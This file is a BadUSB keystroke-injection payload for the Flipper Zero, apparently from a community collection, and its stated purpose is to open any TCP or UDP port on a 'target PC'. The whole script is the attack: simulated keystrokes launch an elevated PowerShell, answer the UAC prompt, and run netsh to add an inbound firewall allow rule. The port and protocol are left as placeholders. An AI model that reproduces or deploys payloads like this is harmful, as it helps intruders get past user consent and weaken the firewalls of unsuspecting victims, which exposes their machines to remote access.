Flipper/BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/OpenAnyPort/OpenAnyPort.txt
2024-04-15 23:47:39 -07:00

19 lines
456 B
Plaintext

REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Open any TCP or UDP Port on the target PC.
REM Version: 1.0
REM Category: Execution
DELAY 750
WINDOWS d
DELAY 850
WINDOWS r
DELAY 850
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 800
LEFTARROW
ENTER
DELAY 900
ALT y
DELAY 900
STRING netsh advfirewall firewall add rule name=Firewall entry name dir=in action=allow protocol=TCP or UDP localport=Port Number; exit
ENTER